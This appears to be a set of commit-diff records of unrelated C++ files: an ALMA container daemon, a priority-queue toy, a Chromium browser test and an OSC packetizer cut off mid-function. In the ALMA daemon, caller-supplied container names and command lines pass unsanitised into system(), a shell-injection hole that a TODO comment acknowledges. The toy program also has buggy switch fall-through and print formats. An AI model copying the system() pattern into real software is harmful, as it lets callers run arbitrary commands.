th_i<m_pAppList.size(); ++th_i) {\n QSharedPointer<QFuture<void> > promise( new QFuture<void>);\n FiffAnonymizer localApp(*m_pAppList.at(th_i));\n *promise = QtConcurrent::run(localApp,&FiffAnonymizer::anonymizeFile);\n promisesList.append(promise);\n }\n\n for(int p_i=0;p_i<promisesList.size();++p_i) {\n promisesList.at(p_i)->waitForFinished();\n }\n } else {\n m_anonymizer.anonymizeFile();\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*******************************************************************************\n* ALMA - Atacama Large Millimiter Array\n* (c) European Southern Observatory, 2002\n* Copyright by ESO (in the framework of the ALMA collaboration)\n* and Cosylab 2002, All rights reserved\n*\n* This library is free software; you can redistribute it and\/or\n* modify it under the terms of the GNU Lesser General Public\n* License as published by the Free Software Foundation; either\n* version 2.1 of the License, or (at your option) any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n* Lesser General Public License for more details.\n*\n* You should have received a copy of the GNU Lesser General Public\n* License along with this library; if not, write to the Free Software\n* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n*\n* \"@(#) $Id: acsContainerDaemonImpl.cpp,v 1.5 2007\/10\/31 13:59:33 ntroncos Exp $\"\n*\n* who when what\n* -------- --------- ----------------------------------------------\n* msekoran 2006-06-21 created\n*\/\n\n#include \"acsContainerDaemonImpl.h\"\n#include <tao\/IORTable\/IORTable.h>\n#include <acserr.h>\n#include <acsdaemonErrType.h>\n#include <ACSErrTypeCommon.h>\n\n\/*****************************************************************\/\n\nACSContainerDaemonImpl::ACSContainerDaemonImpl (LoggingProxy &logProxy) :\n m_isInitialized(false),\n m_logProxy(logProxy)\n{\n \/\/ noop here\n\n m_isInitialized = true;\n}\n\nACSContainerDaemonImpl::~ACSContainerDaemonImpl (void)\n{\n}\n\nint\nACSContainerDaemonImpl::init_ORB (int& argc, char *argv [])\n{\n m_orb = CORBA::ORB_init(argc, argv, \"TAO\");\n\n try\n\t{\n\t\/\/ get a reference to the RootPOA\n\tCORBA::Object_var obj = m_orb->resolve_initial_references(\"RootPOA\");\n\tPortableServer::POA_var root_poa = PortableServer::POA::_narrow(obj.in());\n\tPortableServer::POAManager_var poa_manager = root_poa->the_POAManager();\n \n\t\/\/ create policies\n\tCORBA::PolicyList policy_list;\n\tpolicy_list.length(5);\n\tpolicy_list[0] = root_poa->create_request_processing_policy(PortableServer::USE_DEFAULT_SERVANT);\n\tpolicy_list[1] = root_poa->create_id_uniqueness_policy(PortableServer::MULTIPLE_ID);\n\tpolicy_list[2] = root_poa->create_id_assignment_policy(PortableServer::USER_ID); \n\tpolicy_list[3] = root_poa->create_servant_retention_policy(PortableServer::NON_RETAIN); \n\tpolicy_list[4] = root_poa->create_lifespan_policy(PortableServer::PERSISTENT);\n \n\t\/\/ create a ACSDaemon POA with policies \n\tPortableServer::POA_var poa = root_poa->create_POA(\"ACSContainerDaemon\", poa_manager.in(), policy_list);\n\n\t\/\/ destroy policies\n\tfor (CORBA::ULong i = 0; i < policy_list.length(); ++i)\n\t {\n\t CORBA::Policy_ptr policy = policy_list[i];\n\t policy->destroy();\n\t }\n\n\t\/\/ set as default servant\n\tpoa->set_servant(this);\n\n\t\/\/ create reference\n\tPortableServer::ObjectId_var oid = PortableServer::string_to_ObjectId(\"ACSContainerDaemon\");\n\tobj = poa->create_reference_with_id (oid.in(), _interface_repository_id());\n\tm_ior = m_orb->object_to_string(obj.in());\n\n\t\/\/ bind to IOR table\n \tCORBA::Object_var table_object = m_orb->resolve_initial_references(\"IORTable\");\n\tIORTable::Table_var adapter = IORTable::Table::_narrow(table_object.in());\n \n\tif (CORBA::is_nil(adapter.in()))\n\t {\n\t ACS_SHORT_LOG ((LM_ERROR, \"Nil IORTable\"));\n\t return -1;\n\t }\n\telse\n\t {\n\t adapter->bind(\"ACSContainerDaemon\", m_ior.in());\n\t }\n\n\t\/\/ activate POA\n\tpoa_manager->activate();\n\n\tACS_SHORT_LOG((LM_INFO, \"ACS Container Daemon is waiting for incoming requests.\"));\n \n\t}\n catch( CORBA::Exception &ex )\n\t{\n\tACE_PRINT_EXCEPTION (ex, \"EXCEPTION CAUGHT\");\n\treturn -1;\n\t}\n \n return 0;\n}\n\n\nint\nACSContainerDaemonImpl::startup (int argc, char *argv[])\n{\n ACS_SHORT_LOG ((LM_INFO, \"Starting up the ACS Container Daemon...\"));\n\n \/\/ Initalize the ORB.\n if (init_ORB (argc, argv) != 0)\n\t{\n\treturn -1;\n\t}\n\n \/\/ Initialize AES.\n if (!ACSError::init(m_orb.in()))\n\t{\n\tACS_SHORT_LOG ((LM_ERROR, \"Failed to initalize the ACS Error System.\"));\n\treturn -1;\n\t}\n\n ACS_SHORT_LOG ((LM_INFO, \"ACS Container Daemon is initialized.\"));\n\n return 0;\n}\n\nint\nACSContainerDaemonImpl::run (void)\n{\n ACS_SHORT_LOG ((LM_INFO, \"ACS Container Daemon is up and running...\"));\n\n \n try\n\t{\n\tthis->m_orb->run ();\n\t}\n catch(...)\n\t{\n\treturn -1;\n\t}\n\n return 0;\n}\n\nvoid\nACSContainerDaemonImpl::shutdown ()\n{\n\n \/\/ shutdown the ORB.\n if (!CORBA::is_nil (m_orb.in ()))\n\t{\n\tthis->m_orb->shutdown (true);\n \n\t}\n\n \/\/ shutdown AES\n ACSError::done();\n}\n\n\/************************** CORBA interface ****************************\/\n\nvoid\nACSContainerDaemonImpl::start_container (\n const char * container_type,\n const char * container_name,\n ::CORBA::Short instance_number,\n const char * additional_command_line\n )\n ACE_THROW_SPEC ((\n\t\t\tCORBA::SystemException,\n\t\t\t::acsdaemonErrType::FailedToStartContainerEx,\n\t\t\t::ACSErrTypeCommon::BadParameterEx\n\t\t\t))\n{\n if (container_type == 0 ||\n\t*container_type == 0)\n\t{\n\t::ACSErrTypeCommon::BadParameterExImpl ex(__FILE__, __LINE__, \n\t\t\t\t\t\t \"::ACSContainerDaemonImpl::start_container\");\n\tex.setParameter(\"container_type\");\n\tthrow ex.getBadParameterEx();\n\t}\n\n if (container_name == 0 ||\n\t*container_name == 0)\n\t{\n\t::ACSErrTypeCommon::BadParameterExImpl ex(__FILE__, __LINE__, \n\t\t\t\t\t\t \"::ACSContainerDaemonImpl::start_container\");\n\tex.setParameter(\"container_name\");\n\tthrow ex.getBadParameterEx();\n\t}\n\n const char * cmdln = (additional_command_line ? additional_command_line : \"\");\n\n \/\/ execute: \"acsStartContainer -<type> -b <instance> <name> <args>\"\n \/\/ TODO checks for ';', '&', '|' chars, they can run any other command!\n \n \/\/get the directory name to store the container stdout\n std::string logDirectory=\"~\/.acs\/commandcenter\/\";\n std::string containerName(container_name);\n std::string::size_type pos=containerName.rfind(\"\/\"); \n if(pos != std::string::npos){\n \tlogDirectory.append(containerName,0,pos+1);\n \tcontainerName.erase(0,pos+1);\n }\n \/\/create the directory\n std::string mkdir(\"mkdir -p \");\n mkdir.append(logDirectory);\n ACE_OS::system(mkdir.c_str());\n\n std::string timeStamp(getStringifiedTimeStamp().c_str());\n\n char command[1000];\n snprintf(command, 1000, \"acsStartContainer -%s -b %d %s %s &> %sacsStartContainer_%s_%s&\", container_type, instance_number, container_name, cmdln, logDirectory.c_str(), containerName.c_str(), timeStamp.c_str());\n \n ACS_SHORT_LOG ((LM_INFO, \"Executing: '%s'.\", command));\n\n int result = ACE_OS::system(command);\n\n if (result < 0)\n\t{\n\tthrow ::acsdaemonErrType::FailedToStartContainerExImpl(\n\t __FILE__, __LINE__, \n\t \"::ACSContainerDaemonImpl::start_container\").getFailedToStartContainerEx();\n\t}\n \n}\n\n\n\nvoid\nACSContainerDaemonImpl::stop_container (\n const char * container_name,\n ::CORBA::Short instance_number,\n const char * additional_command_line\n )\n ACE_THROW_SPEC ((\n\t\t\tCORBA::SystemException,\n\t\t\t::acsdaemonErrType::FailedToStopContainerEx,\n\t\t\t::ACSErrTypeCommon::BadParameterEx\n\t\t\t))\n{\n if (container_name == 0 ||\n\t*container_name == 0)\n\t{\n\t::ACSErrTypeCommon::BadParameterExImpl ex(__FILE__, __LINE__, \n\t\t\t\t\t\t \"::ACSContainerDaemonImpl::stop_container\");\n\tex.setParameter(\"container_name\");\n\tthrow ex.getBadParameterEx();\n\t}\n\n const char * cmdln = (additional_command_line ? additional_command_line : \"\");\n\n \/\/get the directory name to store the container stdout\n std::string logDirectory=\"~\/.acs\/commandcenter\/\";\n std::string containerName(container_name);\n std::string::size_type pos=containerName.rfind(\"\/\"); \n if(pos != std::string::npos){\n \tlogDirectory.append(containerName,0,pos);\n \tcontainerName.erase(0,pos);\n }\n \/\/create the directory\n std::string mkdir(\"mkdir -p \");\n mkdir.append(logDirectory);\n ACE_OS::system(mkdir.c_str());\n\n std::string timeStamp(getStringifiedTimeStamp().c_str());\n\n \/\/ execute: \"acsStopContainer -b <instance> <name> <args>\"\n \/\/ TODO checks for ';', '&', '|' chars, they can run any other command!\n char command[1000];\n snprintf(command, 1000, \"acsStopContainer -b %d %s %s &> %sacsStopContainer_%s_%s&\", instance_number, container_name, cmdln, logDirectory.c_str(), containerName.c_str(), timeStamp.c_str());\n\n ACS_SHORT_LOG ((LM_INFO, \"Executing: '%s'.\", command));\n\n int result = ACE_OS::system(command);\n\n if (result < 0)\n\t{\n\tthrow ::acsdaemonErrType::FailedToStopContainerExImpl(\n\t __FILE__, __LINE__, \n\t \"::ACSContainerDaemonImpl::stop_container\").getFailedToStopContainerEx();\n\t}\n \n}\n\n\n\n\n\n<commit_msg>Fix for COMP-1317 in acsStopContainer<commit_after>\/*******************************************************************************\n* ALMA - Atacama Large Millimiter Array\n* (c) European Southern Observatory, 2002\n* Copyright by ESO (in the framework of the ALMA collaboration)\n* and Cosylab 2002, All rights reserved\n*\n* This library is free software; you can redistribute it and\/or\n* modify it under the terms of the GNU Lesser General Public\n* License as published by the Free Software Foundation; either\n* version 2.1 of the License, or (at your option) any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n* Lesser General Public License for more details.\n*\n* You should have received a copy of the GNU Lesser General Public\n* License along with this library; if not, write to the Free Software\n* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n*\n* \"@(#) $Id: acsContainerDaemonImpl.cpp,v 1.6 2007\/10\/31 16:23:24 ntroncos Exp $\"\n*\n* who when what\n* -------- --------- ----------------------------------------------\n* msekoran 2006-06-21 created\n*\/\n\n#include \"acsContainerDaemonImpl.h\"\n#include <tao\/IORTable\/IORTable.h>\n#include <acserr.h>\n#include <acsdaemonErrType.h>\n#include <ACSErrTypeCommon.h>\n\n\/*****************************************************************\/\n\nACSContainerDaemonImpl::ACSContainerDaemonImpl (LoggingProxy &logProxy) :\n m_isInitialized(false),\n m_logProxy(logProxy)\n{\n \/\/ noop here\n\n m_isInitialized = true;\n}\n\nACSContainerDaemonImpl::~ACSContainerDaemonImpl (void)\n{\n}\n\nint\nACSContainerDaemonImpl::init_ORB (int& argc, char *argv [])\n{\n m_orb = CORBA::ORB_init(argc, argv, \"TAO\");\n\n try\n\t{\n\t\/\/ get a reference to the RootPOA\n\tCORBA::Object_var obj = m_orb->resolve_initial_references(\"RootPOA\");\n\tPortableServer::POA_var root_poa = PortableServer::POA::_narrow(obj.in());\n\tPortableServer::POAManager_var poa_manager = root_poa->the_POAManager();\n \n\t\/\/ create policies\n\tCORBA::PolicyList policy_list;\n\tpolicy_list.length(5);\n\tpolicy_list[0] = root_poa->create_request_processing_policy(PortableServer::USE_DEFAULT_SERVANT);\n\tpolicy_list[1] = root_poa->create_id_uniqueness_policy(PortableServer::MULTIPLE_ID);\n\tpolicy_list[2] = root_poa->create_id_assignment_policy(PortableServer::USER_ID); \n\tpolicy_list[3] = root_poa->create_servant_retention_policy(PortableServer::NON_RETAIN); \n\tpolicy_list[4] = root_poa->create_lifespan_policy(PortableServer::PERSISTENT);\n \n\t\/\/ create a ACSDaemon POA with policies \n\tPortableServer::POA_var poa = root_poa->create_POA(\"ACSContainerDaemon\", poa_manager.in(), policy_list);\n\n\t\/\/ destroy policies\n\tfor (CORBA::ULong i = 0; i < policy_list.length(); ++i)\n\t {\n\t CORBA::Policy_ptr policy = policy_list[i];\n\t policy->destroy();\n\t }\n\n\t\/\/ set as default servant\n\tpoa->set_servant(this);\n\n\t\/\/ create reference\n\tPortableServer::ObjectId_var oid = PortableServer::string_to_ObjectId(\"ACSContainerDaemon\");\n\tobj = poa->create_reference_with_id (oid.in(), _interface_repository_id());\n\tm_ior = m_orb->object_to_string(obj.in());\n\n\t\/\/ bind to IOR table\n \tCORBA::Object_var table_object = m_orb->resolve_initial_references(\"IORTable\");\n\tIORTable::Table_var adapter = IORTable::Table::_narrow(table_object.in());\n \n\tif (CORBA::is_nil(adapter.in()))\n\t {\n\t ACS_SHORT_LOG ((LM_ERROR, \"Nil IORTable\"));\n\t return -1;\n\t }\n\telse\n\t {\n\t adapter->bind(\"ACSContainerDaemon\", m_ior.in());\n\t }\n\n\t\/\/ activate POA\n\tpoa_manager->activate();\n\n\tACS_SHORT_LOG((LM_INFO, \"ACS Container Daemon is waiting for incoming requests.\"));\n \n\t}\n catch( CORBA::Exception &ex )\n\t{\n\tACE_PRINT_EXCEPTION (ex, \"EXCEPTION CAUGHT\");\n\treturn -1;\n\t}\n \n return 0;\n}\n\n\nint\nACSContainerDaemonImpl::startup (int argc, char *argv[])\n{\n ACS_SHORT_LOG ((LM_INFO, \"Starting up the ACS Container Daemon...\"));\n\n \/\/ Initalize the ORB.\n if (init_ORB (argc, argv) != 0)\n\t{\n\treturn -1;\n\t}\n\n \/\/ Initialize AES.\n if (!ACSError::init(m_orb.in()))\n\t{\n\tACS_SHORT_LOG ((LM_ERROR, \"Failed to initalize the ACS Error System.\"));\n\treturn -1;\n\t}\n\n ACS_SHORT_LOG ((LM_INFO, \"ACS Container Daemon is initialized.\"));\n\n return 0;\n}\n\nint\nACSContainerDaemonImpl::run (void)\n{\n ACS_SHORT_LOG ((LM_INFO, \"ACS Container Daemon is up and running...\"));\n\n \n try\n\t{\n\tthis->m_orb->run ();\n\t}\n catch(...)\n\t{\n\treturn -1;\n\t}\n\n return 0;\n}\n\nvoid\nACSContainerDaemonImpl::shutdown ()\n{\n\n \/\/ shutdown the ORB.\n if (!CORBA::is_nil (m_orb.in ()))\n\t{\n\tthis->m_orb->shutdown (true);\n \n\t}\n\n \/\/ shutdown AES\n ACSError::done();\n}\n\n\/************************** CORBA interface ****************************\/\n\nvoid\nACSContainerDaemonImpl::start_container (\n const char * container_type,\n const char * container_name,\n ::CORBA::Short instance_number,\n const char * additional_command_line\n )\n ACE_THROW_SPEC ((\n\t\t\tCORBA::SystemException,\n\t\t\t::acsdaemonErrType::FailedToStartContainerEx,\n\t\t\t::ACSErrTypeCommon::BadParameterEx\n\t\t\t))\n{\n if (container_type == 0 ||\n\t*container_type == 0)\n\t{\n\t::ACSErrTypeCommon::BadParameterExImpl ex(__FILE__, __LINE__, \n\t\t\t\t\t\t \"::ACSContainerDaemonImpl::start_container\");\n\tex.setParameter(\"container_type\");\n\tthrow ex.getBadParameterEx();\n\t}\n\n if (container_name == 0 ||\n\t*container_name == 0)\n\t{\n\t::ACSErrTypeCommon::BadParameterExImpl ex(__FILE__, __LINE__, \n\t\t\t\t\t\t \"::ACSContainerDaemonImpl::start_container\");\n\tex.setParameter(\"container_name\");\n\tthrow ex.getBadParameterEx();\n\t}\n\n const char * cmdln = (additional_command_line ? additional_command_line : \"\");\n\n \/\/ execute: \"acsStartContainer -<type> -b <instance> <name> <args>\"\n \/\/ TODO checks for ';', '&', '|' chars, they can run any other command!\n \n \/\/get the directory name to store the container stdout\n std::string logDirectory=\"~\/.acs\/commandcenter\/\";\n std::string containerName(container_name);\n std::string::size_type pos=containerName.rfind(\"\/\"); \n if(pos != std::string::npos){\n \tlogDirectory.append(containerName,0,pos+1);\n \tcontainerName.erase(0,pos+1);\n }\n \/\/create the directory\n std::string mkdir(\"mkdir -p \");\n mkdir.append(logDirectory);\n ACE_OS::system(mkdir.c_str());\n\n std::string timeStamp(getStringifiedTimeStamp().c_str());\n\n char command[1000];\n snprintf(command, 1000, \"acsStartContainer -%s -b %d %s %s &> %sacsStartContainer_%s_%s&\", container_type, instance_number, container_name, cmdln, logDirectory.c_str(), containerName.c_str(), timeStamp.c_str());\n \n ACS_SHORT_LOG ((LM_INFO, \"Executing: '%s'.\", command));\n\n int result = ACE_OS::system(command);\n\n if (result < 0)\n\t{\n\tthrow ::acsdaemonErrType::FailedToStartContainerExImpl(\n\t __FILE__, __LINE__, \n\t \"::ACSContainerDaemonImpl::start_container\").getFailedToStartContainerEx();\n\t}\n \n}\n\n\n\nvoid\nACSContainerDaemonImpl::stop_container (\n const char * container_name,\n ::CORBA::Short instance_number,\n const char * additional_command_line\n )\n ACE_THROW_SPEC ((\n\t\t\tCORBA::SystemException,\n\t\t\t::acsdaemonErrType::FailedToStopContainerEx,\n\t\t\t::ACSErrTypeCommon::BadParameterEx\n\t\t\t))\n{\n if (container_name == 0 ||\n\t*container_name == 0)\n\t{\n\t::ACSErrTypeCommon::BadParameterExImpl ex(__FILE__, __LINE__, \n\t\t\t\t\t\t \"::ACSContainerDaemonImpl::stop_container\");\n\tex.setParameter(\"container_name\");\n\tthrow ex.getBadParameterEx();\n\t}\n\n const char * cmdln = (additional_command_line ? additional_command_line : \"\");\n\n \/\/get the directory name to store the container stdout\n std::string logDirectory=\"~\/.acs\/commandcenter\/\";\n std::string containerName(container_name);\n std::string::size_type pos=containerName.rfind(\"\/\"); \n if(pos != std::string::npos){\n \tlogDirectory.append(containerName,0,pos+1);\n \tcontainerName.erase(0,pos+1);\n }\n \/\/create the directory\n std::string mkdir(\"mkdir -p \");\n mkdir.append(logDirectory);\n ACE_OS::system(mkdir.c_str());\n\n std::string timeStamp(getStringifiedTimeStamp().c_str());\n\n \/\/ execute: \"acsStopContainer -b <instance> <name> <args>\"\n \/\/ TODO checks for ';', '&', '|' chars, they can run any other command!\n char command[1000];\n snprintf(command, 1000, \"acsStopContainer -b %d %s %s &> %sacsStopContainer_%s_%s&\", instance_number, container_name, cmdln, logDirectory.c_str(), containerName.c_str(), timeStamp.c_str());\n\n ACS_SHORT_LOG ((LM_INFO, \"Executing: '%s'.\", command));\n\n int result = ACE_OS::system(command);\n\n if (result < 0)\n\t{\n\tthrow ::acsdaemonErrType::FailedToStopContainerExImpl(\n\t __FILE__, __LINE__, \n\t \"::ACSContainerDaemonImpl::stop_container\").getFailedToStopContainerEx();\n\t}\n \n}\n\n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <queue>\n#include <utility>\n#include <stdio.h>\n#include <vector>\nusing namespace std;\ntypedef pair<long long ,long long> node;\n\n\nlong long re[1000000];\nint main(int argc, char const *argv[])\n{\n\tpriority_queue<node ,vector<node> ,greater<node> > pq;\n\n\tpq.push(node(1,2));\n\tnode n;\n\tint i=0;\n\twhile(i<100){\n\n\t\tnode n=pq.top();\n\t\t\/\/printf(\"%d\",i);\n\t\tpq.pop();\n\t\tswitch(n.second){\n\t\t\tcase 2:\n\t\t\t\tpq.push(node(n.first*2,2));\n\n\t\t\tcase 3:\n\t\t\t\tpq.push(node(n.first*3,3));\n\n\t\t\tcase 5:\n\t\t\t\tpq.push(node(n.first*5,5));\n\t\t}\n\t\tre[i++]=n.first;\n\t}\n\tfor (int j = 0; j < i; ++j)\n\t{\n\t\tprintf(\"%d\\n\",re[j]);\n\t}\n \n\treturn 0;\n}\n<commit_msg>update 346588<commit_after>#include <iostream>\n#include <queue>\n#include <utility>\n#include <stdio.h>\n#include <vector>\nusing namespace std;\ntypedef pair<long long ,long long> node;\n\n\nlong long re[1000000];\nint main(int argc, char const *argv[])\n{\n\tpriority_queue<node ,vector<node> ,greater<node> > pq;\n\n\tpq.push(node(1,2));\n\tnode n;\n\tint i=0;\n\twhile(i<1000){\n\n\t\tnode n=pq.top();\n\t\t\/\/printf(\"%d\",i);\n\t\tpq.pop();\n\t\tswitch(n.second){\n\t\t\tcase 2:\n\t\t\t\tpq.push(node(n.first*2,2));\n\n\t\t\tcase 3:\n\t\t\t\tpq.push(node(n.first*3,3));\n\n\t\t\tcase 5:\n\t\t\t\tpq.push(node(n.first*5,5));\n\t\t}\n\t\tre[i++]=n.first;\n\t}\n\tfor (int j = 0; j < i; ++j)\n\t{\n\t\tprintf(\"%d\\n\",re[j]);\n\t}\n \n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/app\/chrome_command_ids.h\"\n#include \"chrome\/browser\/extensions\/api\/commands\/command_service.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/browser\/ui\/browser_commands.h\"\n#include \"chrome\/browser\/ui\/views\/bookmarks\/bookmark_bubble_view.h\"\n#include \"extensions\/common\/manifest_constants.h\"\n\ntypedef ExtensionApiTest BookmarkOverrideTest;\n\nnamespace {\n\/\/ Bookmark this page keybinding.\n#if defined(OS_MACOSX)\nconst char kBookmarkKeybinding[] = \"Command+D\";\n#else\nconst char kBookmarkKeybinding[] = \"Ctrl+D\";\n#endif \/\/ defined(OS_MACOSX)\n}\n\n\/\/ Test that invoking the IDC_BOOKMARK_PAGE command (as done by the wrench menu)\n\/\/ brings up the bookmark UI, if no extension requests to override ctrl-D and\n\/\/ the user has assigned it to an extension.\nIN_PROC_BROWSER_TEST_F(BookmarkOverrideTest, NonOverrideBookmarkPage) {\n ASSERT_TRUE(test_server()->Start());\n ASSERT_TRUE(RunExtensionTest(\"keybinding\/basics\")) << message_;\n const extensions::Extension* extension = GetSingleLoadedExtension();\n\n extensions::CommandService* command_service =\n extensions::CommandService::Get(browser()->profile());\n\n \/\/ Simulate the user setting the keybinding to Ctrl+D.\n command_service->UpdateKeybindingPrefs(\n extension->id(), extensions::manifest_values::kBrowserActionCommandEvent,\n kBookmarkKeybinding);\n\n \/\/ Check that the BookmarkBubbleView is shown when executing\n \/\/ IDC_BOOKMARK_PAGE.\n EXPECT_FALSE(BookmarkBubbleView::IsShowing());\n chrome::ExecuteCommand(browser(), IDC_BOOKMARK_PAGE);\n EXPECT_TRUE(BookmarkBubbleView::IsShowing());\n}\n<commit_msg>Add test for clicking bookmark star in presence of ctrl-D keybinding<commit_after>\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/app\/chrome_command_ids.h\"\n#include \"chrome\/browser\/extensions\/api\/commands\/command_service.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/browser\/ui\/browser_commands.h\"\n#include \"chrome\/browser\/ui\/tabs\/tab_strip_model.h\"\n#include \"chrome\/browser\/ui\/views\/bookmarks\/bookmark_bubble_view.h\"\n#include \"chrome\/browser\/ui\/views\/frame\/browser_view.h\"\n#include \"chrome\/browser\/ui\/views\/location_bar\/star_view.h\"\n#include \"chrome\/browser\/ui\/views\/toolbar\/toolbar_view.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n#include \"extensions\/common\/manifest_constants.h\"\n#include \"extensions\/test\/result_catcher.h\"\n\ntypedef ExtensionApiTest BookmarkOverrideTest;\n\nnamespace {\n\/\/ Bookmark this page keybinding.\n#if defined(OS_MACOSX)\nconst char kBookmarkKeybinding[] = \"Command+D\";\n#else\nconst char kBookmarkKeybinding[] = \"Ctrl+D\";\n#endif \/\/ defined(OS_MACOSX)\n}\n\n\/\/ Test that clicking the star brings up the bookmark UI, if no extension\n\/\/ requests to override ctrl-D and the user has assigned it to an extension.\nIN_PROC_BROWSER_TEST_F(BookmarkOverrideTest, NonOverrideStarClick) {\n ASSERT_TRUE(test_server()->Start());\n ASSERT_TRUE(RunExtensionTest(\"keybinding\/basics\")) << message_;\n const extensions::Extension* extension = GetSingleLoadedExtension();\n\n extensions::CommandService* command_service =\n extensions::CommandService::Get(browser()->profile());\n\n \/\/ Simulate the user setting the keybinding to Ctrl+D.\n command_service->UpdateKeybindingPrefs(\n extension->id(), extensions::manifest_values::kBrowserActionCommandEvent,\n kBookmarkKeybinding);\n\n \/\/ Check that the BookmarkBubbleView is shown when clicking on the star.\n BrowserView* browser_view = reinterpret_cast<BrowserView*>(\n browser()->window());\n views::View* star_view =\n browser_view->GetToolbarView()->location_bar()->star_view();\n\n ui::MouseEvent pressed_event(ui::ET_MOUSE_PRESSED, gfx::Point(), gfx::Point(),\n ui::EF_LEFT_MOUSE_BUTTON,\n ui::EF_LEFT_MOUSE_BUTTON);\n ui::MouseEvent released_event(ui::ET_MOUSE_RELEASED, gfx::Point(),\n gfx::Point(), ui::EF_LEFT_MOUSE_BUTTON,\n ui::EF_LEFT_MOUSE_BUTTON);\n\n \/\/ Verify that clicking once shows the bookmark bubble.\n EXPECT_FALSE(BookmarkBubbleView::IsShowing());\n star_view->OnMousePressed(pressed_event);\n EXPECT_FALSE(BookmarkBubbleView::IsShowing());\n star_view->OnMouseReleased(released_event);\n EXPECT_TRUE(BookmarkBubbleView::IsShowing());\n}\n\n\/\/ Test that invoking the IDC_BOOKMARK_PAGE command (as done by the wrench menu)\n\/\/ brings up the bookmark UI, if no extension requests to override ctrl-D and\n\/\/ the user has assigned it to an extension.\nIN_PROC_BROWSER_TEST_F(BookmarkOverrideTest, NonOverrideBookmarkPage) {\n ASSERT_TRUE(test_server()->Start());\n ASSERT_TRUE(RunExtensionTest(\"keybinding\/basics\")) << message_;\n const extensions::Extension* extension = GetSingleLoadedExtension();\n\n extensions::CommandService* command_service =\n extensions::CommandService::Get(browser()->profile());\n\n \/\/ Simulate the user setting the keybinding to Ctrl+D.\n command_service->UpdateKeybindingPrefs(\n extension->id(), extensions::manifest_values::kBrowserActionCommandEvent,\n kBookmarkKeybinding);\n\n \/\/ Check that the BookmarkBubbleView is shown when executing\n \/\/ IDC_BOOKMARK_PAGE.\n EXPECT_FALSE(BookmarkBubbleView::IsShowing());\n chrome::ExecuteCommand(browser(), IDC_BOOKMARK_PAGE);\n EXPECT_TRUE(BookmarkBubbleView::IsShowing());\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n Q Light Controller Plus\n oscpacketizer.cpp\n\n Copyright (c) Massimo Callegari\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n*\/\n\n#include \"oscpacketizer.h\"\n\n#include <QStringList>\n#include <QDebug>\n\nOSCPacketizer::OSCPacketizer()\n{\n}\n\nOSCPacketizer::~OSCPacketizer()\n{\n}\n\n\/*********************************************************************\n * Sender functions\n *********************************************************************\/\n\nvoid OSCPacketizer::setupOSCDmx(QByteArray &data, quint32 universe, quint32 channel, uchar value)\n{\n data.clear();\n QString path = QString(\"\/%1\/dmx\/%2\").arg(universe).arg(channel);\n data.append(path);\n\n \/\/ add trailing zeros to reach a multiple of 4\n int zeroNumber = 4 - (path.length() % 4);\n if (zeroNumber != 0 && zeroNumber != 4)\n data.append(QByteArray(zeroNumber, 0x00));\n\n data.append(\",f\");\n data.append((char)0x00);\n data.append((char)0x00);\n float fVal = (float)value;\n data.append(*(((char *)&fVal) + 3));\n data.append(*(((char *)&fVal) + 2));\n data.append(*(((char *)&fVal) + 1));\n data.append(*(((char *)&fVal) + 0));\n}\n\nvoid OSCPacketizer::setupOSCGeneric(QByteArray &data, QString &path, QString types, QByteArray &values)\n{\n data.clear();\n if (path.isEmpty())\n {\n qDebug() << Q_FUNC_INFO << \"Empty path, can't create packet\";\n return;\n }\n\n data.append(path);\n \/\/ add trailing zeros to reach a multiple of 4\n int zeroNumber = 4 - (path.length() % 4);\n if (zeroNumber > 0)\n data.append(QByteArray(zeroNumber, 0x00));\n\n data.append(\",\");\n data.append(types);\n\n zeroNumber = 4 - ((types.length() + 1) % 4);\n if (zeroNumber > 0)\n data.append(QByteArray(zeroNumber, 0x00));\n\n for (int i = 0; i < types.length() && i < values.length(); i++)\n {\n if (types.at(i) == 'f')\n {\n uchar val = (uchar)values.at(i);\n float fVal = (float)val \/ 255.0;\n data.append(*(((char *)&fVal) + 3));\n data.append(*(((char *)&fVal) + 2));\n data.append(*(((char *)&fVal) + 1));\n data.append(*(((char *)&fVal) + 0));\n }\n }\n}\n\n\/*********************************************************************\n * Receiver functions\n *********************************************************************\/\nbool OSCPacketizer::parseMessage(QByteArray &data, QString &path, QByteArray &values)\n{\n path.clear();\n values.clear();\n\n QList<TagType> typeArray;\n bool tagsEnded = false;\n\n \/\/ first of all look for a comma\n int commaPos = data.indexOf(0x2C);\n if (commaPos == -1)\n return false;\n\n path = QString(data.mid(0, commaPos));\n qDebug() << \" [OSC] path extracted:\" << path;\n\n int currPos = commaPos + 1;\n while (tagsEnded == false)\n {\n switch (data.at(currPos))\n {\n case 0x00: tagsEnded = true; break;\n case 0x62: \/* 'b' *\/ typeArray.append(Blob); break;\n case 0x66: \/* 'f' *\/ typeArray.append(Float); break;\n 